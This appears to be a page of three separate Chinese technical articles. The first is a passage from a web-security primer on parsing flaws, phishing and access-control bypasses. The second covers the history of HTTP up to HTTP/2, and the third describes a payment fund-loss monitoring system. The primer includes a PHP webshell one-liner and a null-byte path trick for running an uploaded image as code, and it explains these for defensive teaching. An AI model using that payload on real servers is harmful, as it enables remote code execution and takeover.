会把它当做非脚本，直接读取并传给客户端。但是如果我们这样访问：www.xxx.com/logo.jpg/a.php他就会把logo.jpg当做 PHP 文件来执行。或者是：www.xxx.com/logo.jpg%00.php也会导致图片执行，往图片里面加一句 <?php @eval($_POST[‘a’]) ?> ，post参数a里的内容就会被执行。钓鱼钓鱼也是一种非常古老的攻击方式了。很多人会有这样的经历，QQ群里面有人发什么兼职啦、什么自己要去国外了房子车子甩卖了，详情在我QQ空间里啦，之类的连接。打开之后发现一个QQ登录框，其实一看域名就知道不是QQ，不过做得非常像QQ登录，不明就里的用户们，就真的把用户名和密码输入了进去，结果没登录到QQ，用户名和密码却给人发过去了。还有很多钓鱼短信常会伪装成银行发送的短信，一般都是警告用户的银行账户出现了安全问题，诱使用户点击短信中的链接地址来解决。钓鱼短信会链接到一个高仿的正规网站，这个高仿网站从表面上看不论是图标还是页面设计和官方网站一样，给用户造成一种假象，觉得这个网站没问题。接着就是要求用户提供尽可能多的个人信息。钓鱼邮件是指黑客伪装成同事、合作伙伴、朋友、家人等用户信任的人，通过发送电子邮件的方式，诱使用户回复邮件、点击嵌入邮件正文的恶意链接或者打开邮件附件以植入木马或间谍程序，进而窃取用户敏感数据、个人银行账户和密码等信息，或者在设备上执行恶意代码实施进一步的网络攻击活动。还有一种是鱼叉式钓鱼攻击，鱼叉式钓鱼攻击与其他类型的钓鱼式攻击的不同之处在于，鱼叉式钓鱼针对的是特定人员或特定公司的员工。网络犯罪分子会精心收集目标对象的信息，使”诱饵”更具诱惑力。精心制作的鱼叉式钓鱼电子邮件可能很难与合法的电子邮件区分开来。所以，鱼叉式钓鱼攻击更容易使目标上钩。以人力资源部为例。该部门员工会收到各种格式不一的大量简历，所以收来一份附件来源不明的电子邮件是很平常的事，不会引起怀疑。简历里如果再附上一些作品链接或者作品附件之类的，就很容易中招。防御钓鱼攻击只能靠细心，别贪便宜，别轻信链接和附件，记忆常用域名。越权越权（或者说权限提升，Privilege Escalation）是指攻击者能够执行他本身没有资格执行的一些操作。简单讲，就是“超越了你你拥有的权限，干了你本来不可能干的事儿”。越权漏洞的成因主要是开发人员在对数据进行增、删、改、查时对客户端请求的数据过于信任而遗漏了权限的判定。越权漏洞和前端的关系略小，不过因为在互联网金融领域太常见，所以一起说下。中国金融认证中心（CFCA）抽选和分析了2017年113个电子银行系统的渗透测试结果显示，发现的306个中高风险等级的安全漏洞中，与业务安全相关的漏洞占比最大，有210个，而传统渗透测试中常见的安全漏洞，如跨站脚本攻击、SQL注入、任意文件上传、远程命令执行等WEB应用安全漏洞，在电子银行系统中存在的情况相对较少。我们的安全级别并不比电子银行系统高多少，所以上面的漏洞都应当注意。通常情况下，我们使用一个web应用程序提供的功能时，流程是：登录—>提交请求—>验证权限—>数据库查询—>返回结果。如果在“验证权限”环节存在缺陷，那么便会导致越权。一种常见的存在越权的情形是：Web应用程序的开发者安全意识不足，认为通过登录即可验证用户的身份，而对用户登录之后的操作不做进一步的权限验证，进而导致越权问题。比如：1、通过隐藏URL实现访问控制：有些应用程序仅通过URL实现访问控制。例如：使用管理员身份登录后可以看到后台管理页面的链接，但是以普通用户登录则看不到该链接。但是直接输入链接，比如 xx/admin/userlist 之类的，普通用户就可以访问管理页面。2、直接对象引用：例如，在一个网银系统中，用户可以使用以下URL查询账户信息：https://www.onlinebank.com/viewInfo.php?accountId=12345678其中accountId是用户自己的账户ID。用户登录自己的账户后，该URL的链接会出现在用户账户页面中，用户点击即可跳转到账户信息页面。虽然其他用户无法看到这个链接，但是如果该网银系统的访问控制不完善，攻击者完全可以通过枚举accountId进而构造出URL，然后越权查看他人的账户信息。3、多阶段功能：应用程序的一些功能通过几个阶段执行，并且在执行过程中向服务器依次提交多个请求。这种情况很常见，比如转账功能、找回密码功能等，需要先验证用户的身份，验证通过后才允许用户执行后续动作。多阶段功能本身并没有问题，但是如果开发者认为到达验证过程后续阶段的用户一定已经拥有了相关的权限，并在后续阶段执行操作时不再对用户提交的请求进行验证，那么就很有可能存在越权漏洞。攻击者完全有可能绕过前几阶段的验证阶段，直接执行后续的动作。比如某网站在找回密码时做了很严格的验证，需要验证姓名、手机号、身份证号等信息，验证通过了才能修改密码。校验很严格，但是该网站的“找回密码”功能被设计成了两步（提交了两个请求报文）：第一步验证用户身份，这时提交第一个请求报文，验证成功之后，进入第二步；第二步才是真正的修改密码的动作，而修改密码的POST数据包有3个请求参数，分别是新密码、确认新密码以及账号值。问题就出在第二步，在执行修改密码的动作时，服务器并未验证被修改密码的账户是否是第一步中通过身份验证的账户，因此攻击者可以很容易的以自己的身份通过认证，然后修改第二步提交的报文，实现对任意账户的密码修改！常见的越权高发功能点有：根据订单号查订单、根据用户ID查看帐户信息、修改/找回密码等。4、静态文件：有些Web应用程序在用户访问动态页面时会执行相应的访问控制检查，以确定用户是否拥有执行相关操作所需的权限。但是，用户仍然会提交对静态资源的访问请求，如下载网站中的word、excel、pdf文档等。这些文档都是完全静态的资源，其内容直接由Web服务器返回，它并不在服务器上运行。因此，静态资源自身并不能执行任何检查以确认用户的访问权限。如果这些静态资源没有得到有效的保护，那么任何知晓URL命名规则的人都可以越权访问这些静态资源。比如Google hacking一下：互联网金融的很多系统就有越权漏洞，具体不点名了。宜信某平台多处越权及任意用户登录防御方式实现应用程序的完善的访问控制不是件容易的事，因此越权漏洞防不胜防。对于开发者而言，一定要有安全意识，时刻保持警惕。比如：永远不要相信来自客户端（用户）的输入。执行关键操作前必须验证用户身份，多阶段功能的每一步都要验证用户身份。对于直接对象引用，加密资源ID，以防止攻击者对ID进行枚举。在前端实现的验证并不可靠，前端可以验证用户的输入是否合规，在服务器端验证用户权限。注意：《网络安全法》实施之后，所有未经授权的渗透都是非法行为，so，大部分白帽子的行为都是非法的，大家不要尝试。 ...

HTTP 的前世今生：一次性搞懂 HTTP、HTTPS、SPDY、HTTP2

作为互联网通信协议的一员老将，HTTP 协议走到今天已经经历了三次版本的变动，现在最新的版本是 HTTP2.0，相信大家早已耳熟能详。今天就给大家好好介绍一下 HTTP 的前世今生。HTTP/0.9HTTP 的最早版本诞生在 1991 年，这个最早版本和现在比起来极其简单，没有 HTTP 头，没有状态码，甚至版本号也没有，后来它的版本号才被定为 0.9 来和其他版本的 HTTP 区分。HTTP/0.9 只支持一种方法—— Get，请求只有一行。GET /hello.html响应也是非常简单的，只包含 html 文档本身。<HTML>Hello world</HTML>当 TCP 建立连接之后，服务器向客户端返回 HTML 格式的字符串。发送完毕后，就关闭 TCP 连接。由于没有状态码和错误代码，如果服务器处理的时候发生错误，只会传回一个特殊的包含问题描述信息的 HTML 文件。这就是最早的 HTTP/0.9 版本。HTTP/1.01996 年，HTTP/1.0 版本发布，大大丰富了 HTTP 的传输内容，除了文字，还可以发送图片、视频等，这为互联网的发展奠定了基础。相比 HTTP/0.9，HTTP/1.0 主要有如下特性：请求与响应支持 HTTP 头，增加了状态码，响应对象的一开始是一个响应状态行协议版本信息需要随着请求一起发送，支持 HEAD，POST 方法支持传输 HTML 文件以外其他类型的内容一个典型的 HTTP/1.0 的请求像这样：GET /hello.html HTTP/1.0User-Agent:NCSA_Mosaic/2.0(Windows3.1)200 OKDate: Tue, 15 Nov 1996 08:12:31 GMTServer: CERN/3.0 libwww/2.17Content-Type: text/html<HTML>一个包含图片的页面<IMGSRC="/smile.gif"></HTML>HTTP/1.1在 HTTP/1.0 发布几个月后，HTTP/1.1 就发布了。HTTP/1.1 更多的是作为对 HTTP/1.0 的完善，在 HTTP1.1 中，主要具有如下改进：可以复用连接增加 pipeline：HTTP 管线化是将多个 HTTP 请求整批提交的技术，而在传送过程中不需先等待服务端的回应。管线化机制须通过永久连接（persistent connection）完成。浏览器将HTTP请求大批提交可大幅缩短页面的加载时间，特别是在传输延迟（lag/latency）较高的情况下。有一点需要注意的是，只有幂等的请求可以使用 pipeline，如 GET，HEAD 方法。chunked 编码传输：该编码将实体分块传送并逐块标明长度,直到长度为 0 块表示传输结束, 这在实体长度未知时特别有用(比如由数据库动态产生的数据)引入更多缓存控制机制：如 etag，cache-control引入内容协商机制，包括语言，编码，类型等，并允许客户端和服务器之间约定以最合适的内容进行交换请求消息和响应消息都支持 Host 头域：在 HTTP1.0 中认为每台服务器都绑定一个唯一的 IP 地址，因此，请求消息中的URL并没有传递主机名（hostname）。但随着虚拟主机技术的发展，在一台物理服务器上可以存在多个虚拟主机（Multi-homed Web Servers），并且它们共享一个 IP 地址。因此，Host 头的引入就很有必要了。新增了 OPTIONS,PUT, DELETE, TRACE, CONNECT 方法虽然 HTTP/1.1 已经优化了很多点，作为一个目前使用最广泛的协议版本，已经能够满足很多网络需求，但是随着网页变得越来越复杂，甚至演变成为独立的应用，HTTP/1.1 逐渐暴露出了一些问题：在传输数据时，每次都要重新建立连接，对移动端特别不友好传输内容是明文，不够安全header 内容过大，每次请求 header 变化不大，造成浪费keep-alive 给服务端带来性能压力为了解决这些问题，HTTPS 和 SPDY 应运而生。HTTPSHTTPS 是以安全为目标的 HTTP 通道，简单讲是 HTTP 的安全版，即 HTTP 下加入 SSL 层，HTTPS 的安全基础是 SSL，因此加密的详细内容就需要 SSL。HTTPS 协议的主要作用可以分为两种：一种是建立一个信息安全通道，来保证数据传输的安全；另一种就是确认网站的真实性。HTTPS 和 HTTP 的区别主要如下：HTTPS 协议使用 ca 申请证书，由于免费证书较少，需要一定费用。HTTP 是明文传输，HTTPS 则是具有安全性的 SSL 加密传输协议。HTTP 和 HTTPS使用的是完全不同的连接方式，用的端口也不一样，前者是 80，后者是 443。SPDY其实 SPDY 并不是新的一种协议，而是在 HTTP 之前做了一层会话层。在 2010 年到 2015 年，谷歌通过实践一个实验性的 SPDY 协议，证明了一个在客户端和服务器端交换数据的另类方式。其收集了浏览器和服务器端的开发者的焦点问题，明确了响应数量的增加和解决复杂的数据传输。在启动 SPDY 这个项目时预设的目标是：页面加载时间 (PLT) 减少 50%。无需网站作者修改任何内容。将部署复杂性降至最低，无需变更网络基础设施。与开源社区合作开发这个新协议。收集真实性能数据，验证这个实验性协议是否有效。为了达到降低目标，减少页面加载时间的目标，SPDY 引入了一个新的二进制分帧数据层，以实现多向请求和响应、优先次序、最小化及消除不必要的网络延迟，目的是更有效地利用底层 TCP 连接。HTTP/2.0时间来到 2015 年，HTTP/2.0 问世。先来介绍一下 HTTP/2.0 的特点吧：使用二进制分帧层：在应用层与传输层之间增加一个二进制分帧层，以此达到在不改动 HTTP 的语义，HTTP 方法、状态码、URI 及首部字段的情况下，突破HTTP1.1 的性能限制，改进传输性能，实现低延迟和高吞吐量。在二进制分帧层上，HTTP2.0 会将所有传输的信息分割为更小的消息和帧，并对它们采用二进制格式的编码，其中 HTTP1.x 的首部信息会被封装到 Headers 帧，而我们的 request body 则封装到 Data 帧里面。多路复用：对于 HTTP/1.x，即使开启了长连接，请求的发送也是串行发送的，在带宽足够的情况下，对带宽的利用率不够，HTTP/2.0 采用了多路复用的方式，可以并行发送多个请求，提高对带宽的利用率。数据流优先级：由于请求可以并发发送了，那么如果出现了浏览器在等待关键的 CSS 或者 JS 文件完成对页面的渲染时，服务器却在专注的发送图片资源的情况怎么办呢？HTTP/2.0 对数据流可以设置优先值，这个优先值决定了客户端和服务端处理不同的流采用不同的优先级策略。服务端推送：在 HTTP/2.0 中，服务器可以向客户发送请求之外的内容，比如正在请求一个页面时，服务器会把页面相关的 logo，CSS 等文件直接推送到客户端，而不会等到请求来的时候再发送，因为服务器认为客户端会用到这些东西。这相当于在一个 HTML 文档内集合了所有的资源。头部压缩：使用首部表来跟踪和存储之前发送的键值对，对于相同的内容，不会再每次请求和响应时发送。可以看到 HTTP/2.0 的新特点和 SPDY 很相似，其实 HTTP/2.0 本来就是基于 SPDY 设计的，可以说是 SPDY 的升级版。但是 HTTP/2.0 仍有和 SPDY 不同的地方，主要有如下两点：HTTP2.0 支持明文 HTTP 传输，而 SPDY 强制使用 HTTPS。HTTP2.0 消息头的压缩算法采用 HPACK，而非 SPDY 采用的 DEFLATE。文 / Xss编 / 荧声我们正在进行限时有奖读者调查，欢迎参加：创宇前端期待听到你的声音本文已由作者授权发布，版权属于创宇前端。欢迎注明出处转载本文。本文链接：https://knownsec-fed.com/2018…想要订阅更多来自知道创宇开发一线的分享，请搜索关注我们的微信公众号：乐趣区。欢迎留言讨论，我们会尽可能回复。感谢您的阅读。 ...

资损防控体系介绍

资损盲区随着有赞支付体量的增大，资产部门承担的资金管理，风险把控的责任也越大。我们一方面要小步快跑，快速支撑业务，又要稳住底盘，守好底线。支付业务底线就是守护用户的每一分钱，不能有资金损失。在我们搭建这套体系前，有赞支付资金类的线上监控是个盲区，缺乏自我发现的能力。业务成功了，但内部对用户的资金操作可能是错误的，导致资损。而且故障发生到发现的时间很长，且大部分是用户上报，导致故障的影响面扩大，用户的信任度降低。预防资损有很多种手段，除了事前线下通过各种测试手段保障资金安全外，线上也是非常重要的一环。除了发现问题，相应的，出现故障时，资损止血的能力也需要配套跟上。举一个最基本的支付业务场景，在有赞内部会经历以下几个系统之间的交互：通过上图可以看出每个系统的处理结果，会依据系统建立的模型存储在数据库中，部分关键信息会传输给下层系统。系统之间处理的重要信息如金额、账户不一致就会导致资损。目前我们也内部对账会发现这些问题，但是内部对账都是每天跑批执行一次。如果依靠内部对账来发现这个问题，资损早就发生了。需要调用很大的人力物力去追款，大部分情况下还追不回来。我们分析了有赞近一年来的资损场景，结合历史的经验，总结出资损类故障发生有几下几大类: 1）有正确的输入，错误的输出：比如系统与系统之间的金额存储单位不一致，或者自己处理金额正确，传输给下游的金额错误，导致后面交易金额错误；2）上下游系统的数据不一致：该处理的没处理，该到达终态的单据没有到达终态；3）幂等控制失效，多扣款或多入账；4）系统内部逻辑错误，无对外输出；5）人工修复异常场景，产生资损。2. 资损体系的诞生基于解决以上问题的目的，我们设计了实时防控资损体系。总体设计思路围绕以下几点： 1）发现问题的实时性，减少故障的影响面；2）信息流一致性两两比对、资金流平衡型检查；3）全方位监控：业务触发、人工变更资金检测、历史数据检测；4）检测的准确性，无误报；5）和支付链路解藕，不影响主链路。平台能力是基础，检测规则是其灵魂。基于对业务的丰富经验，我们可以沉淀一些业务资金规则，从旁路来约束和检测系统逻辑的正确性。比如支付金额-退款金额应该==结算金额，退款金额不能大于支付金额，凭证支付、现金支付无资金流类型不用调用账务，支付和账务之间会经过结算的处理，账务累计出入金额和支付的金额应该要相等。3. 系统设计：3.1 总体设计的架构图如下：系统定位于事前线下测试环境兜底，事中一致性检测，事后资金兜底，不对业务造成入侵，完全旁路运行。触发点有 2 个，业务事件消息和数据库变更 binlog 信息。分三类信息处理： 1) 基于各个业务事件比如支付完成事件、退款完成事件、确认收货时结算完成事件，账务收支明细变更事件等，触发运行系统内配置的依赖此事件的规则；2) 通过监听 binlog 变更，可以检测到人为操作类变更, 按定义好的逻辑生成对应的检查点，每个检查点有包含多个链路检测。触发对应的规则运行检测全链路数据的一致性、资金的平衡性；3) 人工处理历史数据前，对历史数据的质量进行前置检测。保证不产生二次资损。通过系统间两两核对数据一致性，或者抽象出系统内的业务规则、资金规则旁路自检来发现故障。并且实时获取数据，实时运行，对于业务处理上有滞后和缓冲的场景，我们提供了异步运行的机制，以及三次重试的机会。全面提供系统整体的容错性，无因系统设计问题导致的误报。3.2 处理流程图如下：经过系统的沉淀之后，我们将过程中的数据存储到了 hbase，把整个支付过程落地成了可视化试图，可清晰的查看每个环节的数据形态,具体数据就不展示了。比如一笔订单可以看到，当前已经是退款完成状态，对应的支付成功时支付、结算、计费、账务数据形态：退款完成环节支付、结算、计费、账务数据形态：3.3 资金熔断：熔断的处理流程图如下：基于我们之前建立的异常发现能力，同时我们需要具备资金止损能力。建立后台触发熔断操作入口，人工录入熔断配置或资损防控检测出异常新增并生效熔断配置，应急情况生效熔断，日常支付链路不会过熔断判断。熔断支持按业务码纬度、指定的单号、商户号熔断；目前我们在业务方接入的熔断埋点有 3 个点：退款、结算、出金。为什么考虑这三个地方埋点呢？ 1) 我们整个系统的定位都是不侵入主链路，对用户无感知的，所以支付环节不考虑埋点。且钱不能流出有赞的体系外，一旦流出则无法追回。 2) 在支付链路产生的故障，考虑在退款、结算环节来做拦截，且支付完成后，钱停留在有赞的中间户，此时订正支付链路数据，对商户来说无感知。 3) 一旦在结算环节出现问题，则考虑最后一道兜底，出金报送银联前进行拦截。确认无误或故障处理完成后，触发解熔断操作，业务继续处理或驳回。4. 总结建立了这一整套体系后，半年时间内，我们已经在线下环境联调时就成功兜底资金处理 bug，线上也避免了多起问题。并定期的进行故障演练来检测平台能力。本文主要介绍大体的设计和实现思路，后续会有详细的技术细节介绍，敬请期待。资损防控路漫漫，共勉。